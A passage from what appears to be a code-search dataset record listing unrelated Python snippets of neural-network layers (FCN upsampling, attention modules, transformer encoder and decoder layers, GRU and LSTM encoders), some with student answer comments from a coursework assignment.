processed_image = utils.process_image(image, mean_pixel)'''\r\n\r\n with tf.variable_scope(\"inference\"):\r\n pooling_net,conv_final_layer = inference_op(image)\r\n #conv_final_layer = image_net[\"conv5_3\"]\r\n\r\n pool5 = utils.max_pool_2x2(conv_final_layer)\r\n\r\n W6 = utils.weight_variable([7, 7, 512, 4096], name=\"W6\")\r\n b6 = utils.bias_variable([4096], name=\"b6\")\r\n conv6 = utils.conv2d_basic(pool5, W6, b6)\r\n relu6 = tf.nn.relu(conv6, name=\"relu6\")\r\n if FLAGS.debug:\r\n utils.add_activation_summary(relu6)\r\n relu_dropout6 = tf.nn.dropout(relu6, keep_prob=keep_prob)\r\n\r\n W7 = utils.weight_variable([1, 1, 4096, 4096], name=\"W7\")\r\n b7 = utils.bias_variable([4096], name=\"b7\")\r\n conv7 = utils.conv2d_basic(relu_dropout6, W7, b7)\r\n relu7 = tf.nn.relu(conv7, name=\"relu7\")\r\n if FLAGS.debug:\r\n utils.add_activation_summary(relu7)\r\n relu_dropout7 = tf.nn.dropout(relu7, keep_prob=keep_prob)\r\n\r\n W8 = utils.weight_variable([1, 1, 4096, NUM_OF_CLASSESS], name=\"W8\")\r\n b8 = utils.bias_variable([NUM_OF_CLASSESS], name=\"b8\")\r\n conv8 = utils.conv2d_basic(relu_dropout7, W8, b8)\r\n # annotation_pred1 = tf.argmax(conv8, dimension=3, name=\"prediction1\")\r\n\r\n # now to upscale to actual image size\r\n deconv_shape1 = pooling_net[\"pool4\"].get_shape()\r\n W_t1 = utils.weight_variable([4, 4, deconv_shape1[3].value, NUM_OF_CLASSESS], name=\"W_t1\")\r\n b_t1 = utils.bias_variable([deconv_shape1[3].value], name=\"b_t1\")\r\n # 对第8层的结果进行反卷积(上采样),通道数也由NUM_OF_CLASSESS变为第4层的通道数\r\n conv_t1 = utils.conv2d_transpose_strided(conv8, W_t1, b_t1, output_shape=tf.shape(pooling_net[\"pool4\"]))\r\n fuse_1 = tf.add(conv_t1, pooling_net[\"pool4\"], name=\"fuse_1\")\r\n\r\n deconv_shape2 = pooling_net[\"pool3\"].get_shape()\r\n W_t2 = utils.weight_variable([4, 4, deconv_shape2[3].value, deconv_shape1[3].value], name=\"W_t2\")\r\n b_t2 = utils.bias_variable([deconv_shape2[3].value], name=\"b_t2\")\r\n conv_t2 = utils.conv2d_transpose_strided(fuse_1, W_t2, b_t2, output_shape=tf.shape(pooling_net[\"pool3\"]))\r\n fuse_2 = tf.add(conv_t2, pooling_net[\"pool3\"], name=\"fuse_2\")\r\n\r\n shape = tf.shape(image)\r\n deconv_shape3 = tf.stack([shape[0], shape[1], shape[2], NUM_OF_CLASSESS])\r\n W_t3 = utils.weight_variable([16, 16, NUM_OF_CLASSESS, deconv_shape2[3].value], name=\"W_t3\")\r\n b_t3 = utils.bias_variable([NUM_OF_CLASSESS], name=\"b_t3\")\r\n conv_t3 = utils.conv2d_transpose_strided(fuse_2, W_t3, b_t3, output_shape=deconv_shape3, stride=8)\r\n\r\n annotation_pred = tf.argmax(conv_t3, dimension=3, name=\"prediction\")\r\n print(\"annotation_pred.shape\",annotation_pred.shape)\r\n print(\"conv_t3\",conv_t3)\r\n print(\"tf.expand_dims(annotation_pred, dim=3)\",tf.expand_dims(annotation_pred, dim=3))\r\n return tf.expand_dims(annotation_pred, dim=3), conv_t3","def _apply_attention_constraint(e,\n last_attended_idx,\n backward_window=1,\n forward_window=3):\n # for dygraph to static graph\n # if e.shape[0] != 1:\n # raise NotImplementedError(\n # \"Batch attention constraining is not yet supported.\")\n backward_idx = paddle.cast(\n last_attended_idx - backward_window, dtype='int64')\n forward_idx = paddle.cast(last_attended_idx + forward_window, dtype='int64')\n if backward_idx > 0:\n e[:, :backward_idx] = -float(\"inf\")\n if forward_idx < paddle.shape(e)[1]:\n e[:, forward_idx:] = -float(\"inf\")\n return e","def forward(self, x):\n x = self.first_deconv(x)\n x = self.first_batch_norm(x)\n x = F.leaky_relu(x)\n\n x = self.second_deconv(x)\n x = self.second_batch_norm(x)\n x = F.leaky_relu(x)\n\n x = self.third_deconv(x)\n x = self.third_batch_norm(x)\n x = F.leaky_relu(x)\n\n x = self.fourth_deconv(x)\n x = self.fourth_batch_norm(x)\n\n x = self.fifth_deconv(x)\n x = self.fifth_batch_norm(x)\n\n x = self.sixth_deconv(x)\n x = self.sixth_batch_norm(x)\n\n x = self.seventh_deconv(x)\n\n # sigmoid_out = nn.functional.sigmoid(x)\n tanh_out = nn.functional.tanh(x)\n\n out = (tanh_out + 1) * 255 / 2\n\n # print 'out.shape =', out.shape\n\n return out","def forward(self, x, h, u, time, feat_kernels_enc_conv, feat_bias_enc_conv, feat_kernels_enc_fc, feat_bias_enc_fc, feat_kernels_enc_3dgru, feat_bias_enc_3dgru):\n\n\n conv1a_wt,conv1b_wt,conv2a_wt,conv2b_wt,conv2c_wt,conv3a_wt,conv3b_wt,conv3c_wt,conv4a_wt,conv4b_wt,conv5a_wt,conv5b_wt,conv5c_wt,conv6a_wt,conv6b_wt = feat_kernels_enc_conv\n conv1a_bias,conv1b_bias,conv2a_bias,conv2b_bias,conv2c_bias,conv3a_bias,conv3b_bias,conv3c_bias,conv4a_bias,conv4b_bias,conv5a_bias,conv5b_bias,conv5c_bias,conv6a_bias,conv6b_bias = feat_bias_enc_conv\n t_x_s_update_fc_layer, t_x_s_update_conv3d, t_x_s_reset_fc_layer, t_x_s_reset_conv3d, t_x_rs_fc_layer, t_x_rs_conv3d = feat_kernels_enc_3dgru\n t_x_s_update_bias, t_x_s_reset_bias, t_x_rs_bias = feat_bias_enc_3dgru\n\n conv1a = F.conv2d(x, conv1a_wt, bias=conv1a_bias, padding=3) #self.conv1a(x)\n rect1a = self.leaky_relu(conv1a)\n conv1b = F.conv2d(rect1a, conv1b_wt, bias=conv1b_bias, padding=1) #self.conv1b(rect1a)\n rect1 = self.leaky_relu(conv1b)\n pool1 = self.pool(rect1)\n \n \n conv2a = F.conv2d(pool1, conv2a_wt, bias=conv2a_bias, padding=1) #self.conv2a(pool1)\n rect2a = self.leaky_relu(conv2a)\n conv2b = F.conv2d(rect2a, conv2b_wt, bias=conv2b_bias, padding=1) #self.conv2b(rect2a)\n rect2 = self.leaky_relu(conv2b)\n conv2c = F.conv2d(pool1, conv2c_wt, bias=conv2c_bias) #self.conv2c(pool1)\n res2 = conv2c + rect2\n pool2 = self.pool(res2)\n \n \n conv3a = F.conv2d(pool2, conv3a_wt, bias=conv3a_bias, padding=1) #self.conv3a(pool2)\n rect3a = self.leaky_relu(conv3a)\n conv3b = F.conv2d(rect3a, conv3b_wt, bias=conv3b_bias, padding=1) #self.conv3b(rect3a)\n rect3 = self.leaky_relu(conv3b)\n conv3c = F.conv2d(pool2, conv3c_wt, bias=conv3c_bias) #self.conv3c(pool2)\n res3 = conv3c + rect3\n pool3 = self.pool(res3)\n \n conv4a = F.conv2d(pool3, conv4a_wt, bias=conv4a_bias, padding=1) #self.conv4a(pool3)\n rect4a = self.leaky_relu(conv4a)\n conv4b = F.conv2d(rect4a, conv4b_wt, bias=conv4b_bias, padding=1) #self.conv4b(rect4a)\n rect4 = self.leaky_relu(conv4b)\n pool4 = self.pool(rect4)\n \n \n conv5a = F.conv2d(pool4, conv5a_wt, bias=conv5a_bias, padding=1) #self.conv5a(pool4)\n rect5a = self.leaky_relu(conv5a)\n conv5b = F.conv2d(rect5a, conv5b_wt, bias=conv5b_bias, padding=1) #self.conv5b(rect5a)\n rect5 = self.leaky_relu(conv5b)\n conv5c = F.conv2d(pool4, conv5c_wt, bias=conv5c_bias) #self.conv5c(pool4)\n res5 = conv5c + rect5\n pool5 = self.pool(res5)\n \n \n conv6a = F.conv2d(pool5, conv6a_wt, bias=conv6a_bias, padding=1) #self.conv6a(pool5)\n rect6a = self.leaky_relu(conv6a)\n conv6b = F.conv2d(rect6a, conv6b_wt, bias=conv6b_bias, padding=1) #self.conv6b(rect6a)\n rect6 = self.leaky_relu(conv6b)\n res6 = pool5 + rect6\n pool6 = self.pool(res6)\n \n \n pool6 = pool6.view(pool6.size(0), -1)\n \n \n fc7 = F.linear(pool6, feat_kernels_enc_fc[0], bias=feat_bias_enc_fc[0]) #self.fc7(pool6)\n rect7 = self.leaky_relu(fc7)\n \n t_x_s_update = self.t_x_s_update(rect7, h, t_x_s_update_fc_layer, t_x_s_update_conv3d, t_x_s_update_bias)\n t_x_s_reset = self.t_x_s_reset(rect7, h, t_x_s_reset_fc_layer, t_x_s_reset_conv3d, t_x_s_reset_bias)\n \n update_gate = self.sigmoid(t_x_s_update)\n complement_update_gate = 1 - update_gate\n reset_gate = self.sigmoid(t_x_s_reset)\n \n rs = reset_gate * h\n t_x_rs = self.t_x_rs(rect7, rs, t_x_rs_fc_layer, t_x_rs_conv3d, t_x_rs_bias)\n tanh_t_x_rs = self.tanh(t_x_rs)\n \n gru_out = update_gate * h + complement_update_gate * tanh_t_x_rs\n \n return gru_out, update_gate","def __init__(self, ntoken, emb_sz, n_hid, n_layers, pad_token, bidir=False,\n dropouth=0.3, dropouti=0.65, dropoute=0.1, wdrop=0.5, qrnn=False):\n\n super().__init__()\n self.ndir = 2 if bidir else 1\n self.bs, self.qrnn = 1, qrnn\n self.encoder = nn.Embedding(ntoken, emb_sz, padding_idx=pad_token)\n self.encoder_with_dropout = EmbeddingDropout(self.encoder)\n if self.qrnn:\n self.rnns = [QRNNLayer(emb_sz if l == 0 else n_hid, (n_hid if l != n_layers - 1 else emb_sz) // self.ndir,\n save_prev_x=True, zoneout=0, window=2 if l == 0 else 1, output_gate=True) for l in range(n_layers)]\n if wdrop:\n for rnn in self.rnns:\n rnn.linear = WeightDrop(rnn.linear, wdrop, weights=['weight'])\n else:\n self.rnns = [nn.LSTM(emb_sz if l == 0 else n_hid, (n_hid if l != n_layers - 1 else emb_sz)//self.ndir,\n 1, bidirectional=bidir) for l in range(n_layers)]\n if wdrop: self.rnns = [WeightDrop(rnn, wdrop) for rnn in self.rnns]\n self.rnns = torch.nn.ModuleList(self.rnns)\n self.encoder.weight.data.uniform_(-self.initrange, self.initrange)\n\n self.emb_sz,self.n_hid,self.n_layers,self.dropoute = emb_sz,n_hid,n_layers,dropoute\n self.dropouti = LockedDropout(dropouti)\n self.dropouths = nn.ModuleList([LockedDropout(dropouth) for l in range(n_layers)])","def convolutional_attention(inputs, filter_size=5, initializer=None,\n reuse=None, name=''):\n with tf.variable_scope('conv_att_{}'.format(name), reuse=reuse) as f:\n dim = inputs.get_shape().as_list()[2]\n filter_shape = filter_shape = [filter_size, dim, 1]\n W1 = tf.get_variable(\"weights\", filter_shape,\n initializer=initializer)\n b1 = tf.get_variable(\"bias\", [1],\n initializer=tf.constant_initializer([0.1]))\n conv = tf.nn.conv1d(inputs, W1, stride=1,\n padding=\"SAME\", data_format=\"NHWC\")\n # this should be bsz x seq_len x 1\n conv += b1\n att = tf.nn.sigmoid(conv)\n weighted_inputs = inputs * att\n return weighted_inputs, att","def attention(query, use_attention=False):\n attn_weights = []\n ds = [] # Results of attention reads will be stored here.\n for i in xrange(num_heads):\n with variable_scope.variable_scope(\"Attention_%d\" % i):\n y = rnn_cell._linear(query, attention_vec_size, True)\n y = array_ops.reshape(y, [-1, 1, 1, attention_vec_size])\n # Attention mask is a softmax of v^T * tanh(...).\n s = math_ops.reduce_sum(\n v[i] * math_ops.tanh(hidden_features[i] + y), [2, 3])\n if use_attention is False: # apply mean pooling\n weights = tf.tile(sequence_length, tf.pack([attn_length]))\n weights = array_ops.reshape(weights, tf.shape(s))\n a = array_ops.ones(tf.shape(s), dtype=dtype) / math_ops.to_float(weights)\n # a = array_ops.ones(tf.shape(s), dtype=dtype) / math_ops.to_float(tf.shape(s)[1])\n else:\n a = nn_ops.softmax(s)\n attn_weights.append(a)\n # Now calculate the attention-weighted vector d.\n d = math_ops.reduce_sum(\n array_ops.reshape(a, [-1, attn_length, 1, 1]) * hidden,\n [1, 2])\n ds.append(array_ops.reshape(d, [-1, attn_size]))\n return attn_weights, ds","def forward(self, x):\n\n ########################\n # PUT YOUR CODE HERE #\n #######################\n\n x = self.pool1(F.relu(self.batch1(self.conv1(x))))\n x = self.pool2(F.relu(self.batch2(self.conv2(x))))\n x = F.relu(self.batch3a(self.conv3a(x)))\n x = self.pool3(F.relu(self.batch3b(self.conv3b(x))))\n x = F.relu(self.batch4a(self.conv4a(x)))\n x = self.pool4(F.relu(self.batch4b(self.conv4b(x))))\n x = F.relu(self.batch5a(self.conv5a(x)))\n x = self.pool5(F.relu(self.batch5b(self.conv5b(x))))\n x = self.avgpool(x)\n x = x.reshape(x.shape[0], -1)\n out = self.fc1(x)\n\n# raise NotImplementedError\n ########################\n # END OF YOUR CODE #\n #######################\n\n return out","def dual_attention(inputs, num_filters, filter_size=5, initializer=None, reuse=None,\n name='', dropout=None):\n local_repr = local_attention(inputs, num_filters,\n initializer=initializer,\n reuse=reuse)\n global_repr = build_cnn(inputs, num_filters, filter_sizes=234,\n initializer=initializer, name='global{}'.format(name),\n reuse=reuse, round_filter=True)\n lg = tf.concat([local_repr, global_repr], 1)\n final_repr = ffn(lg, num_filters, initializer, reuse=reuse, num_layers=2,\n dropout=dropout, activation=tf.nn.relu)\n return final_repr","def attention_module_multi_head(roi_feat, position_embedding,\n nongt_dim, fc_dim, feat_dim,\n dim=(1024, 1024, 1024),\n group=16, index=1):\n dim_group = (dim[0] / group, dim[1] / group, dim[2] / group)\n nongt_roi_feat = mx.symbol.slice_axis(data=roi_feat, axis=0, begin=0, end=nongt_dim)\n # [num_rois * nongt_dim, emb_dim]\n position_embedding_reshape = mx.sym.Reshape(position_embedding, shape=(-3, -2))\n # position_feat_1, [num_rois * nongt_dim, fc_dim]\n position_feat_1 = mx.sym.FullyConnected(name='pair_pos_fc1_' + str(index),\n data=position_embedding_reshape,\n num_hidden=fc_dim)\n position_feat_1_relu = mx.sym.Activation(data=position_feat_1, act_type='relu')\n # aff_weight, [num_rois, nongt_dim, fc_dim]\n aff_weight = mx.sym.Reshape(position_feat_1_relu, shape=(-1, nongt_dim, fc_dim))\n # aff_weight, [num_rois, fc_dim, nongt_dim]\n aff_weight = mx.sym.transpose(aff_weight, axes=(0, 2, 1))\n\n # multi head\n assert dim[0] == dim[1], 'Matrix multiply requires same dimensions!'\n q_data = mx.sym.FullyConnected(name='query_' + str(index),\n data=roi_feat,\n num_hidden=dim[0])\n q_data_batch = mx.sym.Reshape(q_data, shape=(-1, group, dim_group[0]))\n q_data_batch = mx.sym.transpose(q_data_batch, axes=(1, 0, 2))\n k_data = mx.symbol.FullyConnected(name='key_' + str(index),\n data=nongt_roi_feat,\n num_hidden=dim[1])\n k_data_batch = mx.sym.Reshape(k_data, shape=(-1, group, dim_group[1]))\n k_data_batch = mx.sym.transpose(k_data_batch, axes=(1, 0, 2))\n v_data = nongt_roi_feat\n # v_data = mx.symbol.FullyConnected(name='value_'+str(index)+'_'+str(gid), data=roi_feat, num_hidden=dim_group[2])\n aff = mx.symbol.batch_dot(lhs=q_data_batch, rhs=k_data_batch, transpose_a=False, transpose_b=True)\n # aff_scale, [group, num_rois, nongt_dim]\n aff_scale = (1.0 / math.sqrt(float(dim_group[1]))) * aff\n aff_scale = mx.sym.transpose(aff_scale, axes=(1, 0, 2))\n\n assert fc_dim == group, 'fc_dim != group'\n # weighted_aff, [num_rois, fc_dim, nongt_dim]\n weighted_aff = mx.sym.log(mx.sym.maximum(left=aff_weight, right=1e-6)) + aff_scale\n aff_softmax = mx.symbol.softmax(data=weighted_aff, axis=2, name='softmax_' + str(index))\n # [num_rois * fc_dim, nongt_dim]\n aff_softmax_reshape = mx.sym.Reshape(aff_softmax, shape=(-3, -2))\n # output_t, [num_rois * fc_dim, feat_dim]\n output_t = mx.symbol.dot(lhs=aff_softmax_reshape, rhs=v_data)\n # output_t, [num_rois, fc_dim * feat_dim, 1, 1]\n output_t = mx.sym.Reshape(output_t, shape=(-1, fc_dim * feat_dim, 1, 1))\n # linear_out, [num_rois, dim[2], 1, 1]\n linear_out = mx.symbol.Convolution(name='linear_out_' + str(index), data=output_t,\n kernel=(1, 1), num_filter=dim[2], num_group=fc_dim)\n output = mx.sym.Reshape(linear_out, shape=(0, 0))\n return output"],"string":"[\n \"def forward(\\n self,\\n x: torch.Tensor,\\n self_attn_mask: torch.Tensor = None,\\n self_attn_padding_mask: torch.Tensor = None,\\n need_weights: bool = False,\\n pos_bias=None\\n ):\\n residual = x\\n\\n if self.layer_norm_first:\\n x = self.self_attn_layer_norm(x)\\n x, attn, pos_bias = self.self_attn(\\n query=x,\\n key=x,\\n value=x,\\n key_padding_mask=self_attn_padding_mask,\\n need_weights=False,\\n attn_mask=self_attn_mask,\\n position_bias=pos_bias\\n )\\n x = self.dropout1(x)\\n x = residual + x\\n\\n residual = x\\n x = self.final_layer_norm(x)\\n if self.activation_name == \\\"glu\\\":\\n x = self.fc1(x)\\n else:\\n x = self.activation_fn(self.fc1(x))\\n x = self.dropout2(x)\\n x = self.fc2(x)\\n x = self.dropout3(x)\\n x = residual + x\\n else:\\n x, attn, pos_bias = self.self_attn(\\n query=x,\\n key=x,\\n value=x,\\n key_padding_mask=self_attn_padding_mask,\\n need_weights=need_weights,\\n attn_mask=self_attn_mask,\\n position_bias=pos_bias\\n )\\n\\n x = self.dropout1(x)\\n x = residual + x\\n\\n x = self.self_attn_layer_norm(x)\\n\\n residual = x\\n if self.activation_name == \\\"glu\\\":\\n x = self.fc1(x)\\n else:\\n x = self.activation_fn(self.fc1(x))\\n x = self.dropout2(x)\\n x = self.fc2(x)\\n x = self.dropout3(x)\\n x = residual + x\\n x = self.final_layer_norm(x)\\n\\n return x, attn, pos_bias\",\n \"def forward(self, x, mask):\\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, mask))\\n #print('encoder')\\n #print(x.shape)\\n return self.sublayer[1](x, self.feed_forward)\",\n \"def forward(self, state, encoder_padding_mask):\\n residual = state.clone()\\n\\n '''\\n ___QUESTION-6-DESCRIBE-D-START___\\n What is the purpose of encoder_padding_mask? What will the output shape of `state' Tensor \\n be after multi-head attention? HINT: formulate your answer in terms of \\n constituent variables like batch_size, embed_dim etc...\\n '''\\n '''\\n The encoder padding mask is used to mask the ⟨pad⟩ token which is padded to the input sequences to make the sequences in the same lengths each batch. Thus the word of input sequence will not pay attention to these padded tokens.\\n The shape of state is (tgt_time_steps * batch_size * embed_dim)\\n '''\\n state, _ = self.self_attn(query=state, key=state, value=state, key_padding_mask=encoder_padding_mask)\\n '''\\n ___QUESTION-6-DESCRIBE-D-END___\\n '''\\n\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.self_attn_layer_norm(state)\\n\\n residual = state.clone()\\n state = F.relu(self.fc1(state))\\n state = F.dropout(state, p=self.activation_dropout, training=self.training)\\n state = self.fc2(state)\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.final_layer_norm(state)\\n\\n return state\",\n \"def forward(self,\\n state,\\n encoder_out=None,\\n encoder_padding_mask=None,\\n incremental_state=None,\\n prev_self_attn_state=None,\\n self_attn_mask=None,\\n self_attn_padding_mask=None,\\n need_attn=False,\\n need_head_weights=False):\\n\\n # need_attn must be True if need_head_weights\\n need_attn = True if need_head_weights else need_attn\\n print('encoder padding {}, self padding {}'.format(encoder_padding_mask, self_attn_padding_mask.size()))\\n residual = state.clone()\\n # print('self attention')\\n state, _ = self.self_attn(query=state,\\n key=state,\\n value=state,\\n key_padding_mask=self_attn_padding_mask,\\n need_weights=False,\\n attn_mask=self_attn_mask)\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.self_attn_layer_norm(state)\\n\\n residual = state.clone()\\n '''\\n ___QUESTION-6-DESCRIBE-E-START___\\n How does encoder attention differ from self attention? What is the difference between key_padding_mask \\n and attn_mask? If you understand this difference, then why don't we need to give attn_mask here?\\n '''\\n '''\\n The encoder attention is making the target input word pay attention to the source sequence from encoder, while the self attention is making the input word pay attention to the words in other positions of the input sequence.\\n The key_padding mask masks padded tokens ⟨pad⟩ so the model does not attend to these positions, while the attn mask masks the following tokens at each position to ensure the decoder do not look forward into the sequence.\\n In encoder attention, we want the decoder to pay attention to the entire source sequence. The attn mask is not needed to mask the subsequent positions because it is not paying attention to itself.\\n\\n '''\\n # print('encoder attention')\\n state, attn = self.encoder_attn(query=state,\\n key=encoder_out,\\n value=encoder_out,\\n key_padding_mask=encoder_padding_mask,\\n need_weights=need_attn or (not self.training and self.need_attn))\\n '''\\n ___QUESTION-6-DESCRIBE-E-END___\\n '''\\n\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.encoder_attn_layer_norm(state)\\n\\n residual = state.clone()\\n state = F.relu(self.fc1(state))\\n state = F.dropout(state, p=self.activation_dropout, training=self.training)\\n state = self.fc2(state)\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.final_layer_norm(state)\\n\\n return state, attn\",\n \"def forward(self, state, encoder_padding_mask):\\n residual = state.clone()\\n\\n '''\\n ___QUESTION-6-DESCRIBE-D-START___\\n What is the purpose of encoder_padding_mask? What will the output shape of `state' Tensor\\n be after multi-head attention? HINT: formulate your answer in terms of\\n constituent variables like batch_size, embed_dim etc...\\n\\n The purpose of encoder_padding_mask is to account for the fact that the\\n source sentences in the batch are of different length. The output shape\\n of state tensor will be [src_time_steps, batch_size, embed_dim].\\n '''\\n state, _ = self.self_attn(query=state, key=state, value=state, key_padding_mask=encoder_padding_mask)\\n '''\\n ___QUESTION-6-DESCRIBE-D-END___\\n '''\\n\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.self_attn_layer_norm(state)\\n\\n residual = state.clone()\\n state = F.relu(self.fc1(state))\\n state = F.dropout(state, p=self.activation_dropout, training=self.training)\\n state = self.fc2(state)\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.final_layer_norm(state)\\n\\n return state\",\n \"def __init__(self, inp, oup, kernel_size=3, stride=1, expand_ratio = 6, transform_mode='conv2d'):\\n super(SpatialSelfAttention, self).__init__()\\n assert stride in [1, 2]\\n\\n hidden_dim = round(inp * expand_ratio)\\n self.expand_ratio = expand_ratio\\n self.identity = stride == 1 and inp == oup\\n self.inp, self.oup = inp, oup\\n self.high_dim_id = False\\n\\n if self.expand_ratio != 1:\\n self.conv_exp = nn.Conv2d(inp, hidden_dim, 1, 1, 0, bias=False)\\n self.bn1 = nn.BatchNorm2d(hidden_dim)\\n if transform_mode == 'none':\\n self.depth_sep_conv = nn.Conv2d(hidden_dim, hidden_dim, (kernel_size,kernel_size), (stride,stride), (1,1), groups=hidden_dim, bias=False)\\n elif transform_mode == 'conv3d':\\n self.row_conv = nn.Sequential(\\n SpatialConv3d(hidden_dim, hidden_dim, kernel_size, reshape_dim=0, groups=hidden_dim),\\n nn.BatchNorm2d(hidden_dim),\\n nn.ReLU6(inplace=True)\\n )\\n elif transform_mode == 'conv2d':\\n self.row_conv = nn.Sequential(\\n SpatialConv2d(hidden_dim, hidden_dim, kernel_size, reshape_dim=0, groups=hidden_dim),\\n nn.BatchNorm2d(hidden_dim),\\n nn.ReLU6(inplace=True)\\n )\\n elif transform_mode == 'conv2+1d':\\n self.row_conv = nn.Sequential(\\n SpatialConv2d(hidden_dim, hidden_dim, kernel_size, reshape_dim=0, groups=hidden_dim),\\n nn.BatchNorm2d(hidden_dim),\\n nn.ReLU6(inplace=True),\\n SpatialConv2d(hidden_dim, hidden_dim, kernel_size=(kernel_size[0], 1), reshape_dim=1, groups=hidden_dim),\\n nn.BatchNorm2d(hidden_dim),\\n nn.ReLU6(inplace=True)\\n )\\n # self.bn2 = nn.BatchNorm2d(hidden_dim)\\n\\n self.conv_pro = nn.Conv2d(hidden_dim, oup, 1, 1, 0, bias=False)\\n self.bn3 = nn.BatchNorm2d(oup)\\n\\n self.relu = nn.ReLU6(inplace=True)\",\n \"def forward(self, input):\\n x = self.emb(input)\\n output = self.attention(x)\\n # print(\\\"Idggfghrf \\\", output.size())\\n return output\",\n \"def forward(self,\\n state,\\n encoder_out=None,\\n encoder_padding_mask=None,\\n incremental_state=None,\\n prev_self_attn_state=None,\\n self_attn_mask=None,\\n self_attn_padding_mask=None,\\n need_attn=False,\\n need_head_weights=False):\\n\\n # need_attn must be True if need_head_weights\\n need_attn = True if need_head_weights else need_attn\\n\\n residual = state.clone()\\n state, _ = self.self_attn(query=state,\\n key=state,\\n value=state,\\n key_padding_mask=self_attn_padding_mask,\\n need_weights=False,\\n attn_mask=self_attn_mask)\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.self_attn_layer_norm(state)\\n\\n residual = state.clone()\\n '''\\n ___QUESTION-6-DESCRIBE-E-START___\\n How does encoder attention differ from self attention? What is the difference between key_padding_mask\\n and attn_mask? If you understand this difference, then why don't we need to give attn_mask here?\\n\\n Encoder attention differs from self-attention in that it attends to the\\n output embeddings of the encoder instead of the embeddings in the decoder.\\n key_padding_mask is used to adjust the length of the sentences, whereas\\n attn_mask prevents the decoder from attending to future positions.\\n We do not use attn_mask while attending to the decoder since we want all\\n the embeddings in the decoder to have access to all the encoder output\\n embeddings.\\n '''\\n state, attn = self.encoder_attn(query=state,\\n key=encoder_out,\\n value=encoder_out,\\n key_padding_mask=encoder_padding_mask,\\n need_weights=need_attn or (not self.training and self.need_attn))\\n '''\\n ___QUESTION-6-DESCRIBE-E-END___\\n '''\\n\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.encoder_attn_layer_norm(state)\\n\\n residual = state.clone()\\n state = F.relu(self.fc1(state))\\n state = F.dropout(state, p=self.activation_dropout, training=self.training)\\n state = self.fc2(state)\\n state = F.dropout(state, p=self.dropout, training=self.training)\\n state += residual\\n state = self.final_layer_norm(state)\\n\\n return state, attn\",\n \"def _Attention(self, name, is_causal=True):\\n p = self.params\\n tr_atten_p = TransformerAttentionLayer.Params().Set(\\n name='transformer_atten',\\n input_dim=p.model_dim,\\n hidden_dim=p.attention_hidden_dim or p.model_dim,\\n is_masked=is_causal,\\n num_heads=p.num_heads,\\n residual_dropout_prob=p.residual_dropout_prob,\\n atten_dropout_prob=p.atten_dropout_prob,\\n fprop_dtype=p.fprop_dtype,\\n add_unnormalized_input=p.selfatten_add_unnormalized_input,\\n )\\n tr_atten_p.atten_tpl.use_bias = p.use_bias\\n tr_atten_p.atten_tpl.enable_value_proj = p.selfatten_enable_value_proj\\n tr_atten_p.atten_tpl.enable_query_scale = p.enable_query_scale\\n tr_atten_p.atten_tpl.enable_per_dim_scale = p.enable_per_dim_scale\\n tr_atten_p.atten_tpl.device_mesh = p.device_mesh\\n tr_atten_p.atten_tpl.weight_split_dims_mapping = (\\n p.weight_split_dims_mapping.dnh)\\n tr_atten_p.atten_tpl.activation_split_dims_mapping.blnh = (\\n p.activation_split_dims_mapping.blnh)\\n tr_atten_p.atten_tpl.activation_split_dims_mapping.bld = (\\n p.activation_split_dims_mapping.bld)\\n if p.deterministic_dropout:\\n tr_atten_p.dropout_tpl = layers.DeterministicDropoutLayer.Params()\\n tr_atten_p.atten_p.dropout_tpl = layers.DeterministicDropoutLayer.Params()\\n\\n return self._Graph(\\n name,\\n ['i'], # input NestedMap with {vec, paddings}\\n ['o'], # output NestedMap with {vec, paddings}\\n ('i.vec->split_i',\\n self.MeshSplit('input_split', p.activation_split_dims_mapping.bld)),\\n ('split_i,split_i,i.paddings->o.vec,unused_prob', tr_atten_p),\\n ('i.paddings->o.paddings', self._Id('id')))\",\n \"def self_attention_layer(hparams, prefix):\\n return transformer_layers.SelfAttention(\\n num_heads=hparams.get(prefix + \\\"num_heads\\\"),\\n num_memory_heads=hparams.get(prefix + \\\"num_memory_heads\\\"),\\n key_value_size=hparams.d_kv,\\n shared_kv=hparams.get(prefix + \\\"shared_kv\\\", False),\\n attention_kwargs=attention_kwargs_from_hparams(hparams))\",\n \"def forward(self, tgt, memory, tgt_mask=None, memory_mask=None):\\n # m = memory\\n # LayerNorm + SelfAtt + Dropout + Residual\\n tgt = self.sublayer[0](tgt, lambda x: self.self_attn(x, x, x, tgt_mask))\\n # LayerNorm + Att + Dropout + Residual\\n tgt = self.sublayer[1](tgt, lambda x: self.memory_attn(x, memory, memory, memory_mask))\\n # LayerNorm + FF + Dropout +Residual\\n layer_output = self.sublayer[2](tgt, self.feed_forward)\\n return layer_output\",\n \"def self_attention_model(self):\\n inputs = self.prepare_inputs()\\n \\n features = self.prepare_features(inputs)\\n support_history_context_concat_emb = features['support_history_context_concat_emb']\\n support_link_info_concat_emb = features['support_link_info_concat_emb']\\n support_start_node_info_concat_emb = features['support_start_node_info_concat_emb']\\n support_end_node_info_concat_emb = features['support_end_node_info_concat_emb']\\n support_future_context_concat_emb = features['support_future_context_concat_emb']\\n support_neighbor_link_info_concat_emb = features['support_neighbor_link_info_concat_emb']\\n support_neighbor_start_node_info_concat_emb = features['support_neighbor_start_node_info_concat_emb']\\n support_neighbor_end_node_info_concat_emb = features['support_neighbor_end_node_info_concat_emb']\\n support_neighbor_link_state_concat_emb = features['support_neighbor_link_state_concat_emb']\\n support_y_embed = features['support_duration_delta_concat_emb']\\n\\n query_history_context_concat_emb = features['query_history_context_concat_emb']\\n query_link_info_concat_emb = features['query_link_info_concat_emb']\\n query_start_node_info_concat_emb = features['query_start_node_info_concat_emb']\\n query_end_node_info_concat_emb = features['query_end_node_info_concat_emb']\\n query_future_context_concat_emb = features['query_future_context_concat_emb']\\n query_neighbor_link_info_concat_emb = features['query_neighbor_link_info_concat_emb']\\n query_neighbor_start_node_info_concat_emb = features['query_neighbor_start_node_info_concat_emb']\\n query_neighbor_end_node_info_concat_emb = 